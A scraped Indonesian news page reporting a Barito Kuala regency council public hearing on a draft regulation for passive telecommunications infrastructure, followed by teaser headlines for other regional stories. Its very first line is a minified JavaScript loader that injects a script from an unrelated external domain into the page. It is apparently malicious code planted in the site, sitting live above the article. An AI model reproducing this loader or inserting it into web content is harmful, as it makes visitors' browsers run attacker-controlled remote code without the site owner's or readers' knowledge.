(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN-DPRD Kabupaten Barito Kuala menggelar Uji Publik Rancangan Peraturan Daerah tentang Penataan dan Pengendalian Infrastruktur Pasif Telekomunikasi, Kamis (4/12/2025), di Kantor DPRD Batola.
Kegiatan tersebut dihadiri Tim Perancang Peraturan Perundang-undangan Kantor Wilayah Kemenkum HAM Kalimantan Selatan.
Kepala Bapemperda DPRD Batola, Hendry Dyah Estiningrum, membuka kegiatan sekaligus menjelaskan bahwa Ranperda ini merupakan inisiatif DPRD untuk menjawab persoalan penataan kabel dan infrastruktur telekomunikasi yang selama ini belum tertata dengan baik. Regulasi yang komprehensif dinilai mendesak agar pengelolaan infrastruktur lebih terukur dan terkoordinasi.
Ketua Tim Kerja Fasilitasi Pembentukan Produk Hukum Daerah Kemenkum Kalsel, Bahjatul Mardhiah, menyampaikan bahwa penyusunan Ranperda tersebut merupakan amanat DPRD Batola.
Pihaknya telah menyempurnakan konsep regulasi agar lebih sesuai dengan kebutuhan daerah, khususnya terkait penataan dan pengendalian infrastruktur pasif telekomunikasi.
Tim Perancang Peraturan Perundang-undangan Kemenkum Kalsel kemudian memaparkan substansi Ranperda.
Beberapa persoalan yang menjadi perhatian meliputi belum terkoordinasinya pembangunan infrastruktur telekomunikasi, ketiadaan pengaturan pemanfaatan infrastruktur pasif, serta adanya duplikasi pembangunan yang berdampak pada tata ruang.
Regulasi yang jelas diperlukan untuk memberikan kepastian hukum sekaligus mendukung keteraturan penataan infrastruktur telekomunikasi di daerah.
Dalam sesi diskusi, peserta uji publik termasuk Dinas Komunikasi dan Informatika Kabupaten Batola menyampaikan sejumlah saran dan pertanyaan terkait materi muatan Ranperda.
Seluruh masukan tersebut dicatat dan akan dirumuskan lebih lanjut bersama DPRD sebagai bahan penyempurnaan regulasi.
Kemenkum Kalsel menegaskan komitmen untuk terus mendampingi pemerintah daerah dalam menyusun produk hukum yang berkualitas dan berorientasi pada kepentingan masyarakat.(www.kanalkalimantan.com/hms)
Reporter: hms
Editor: Rdy
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.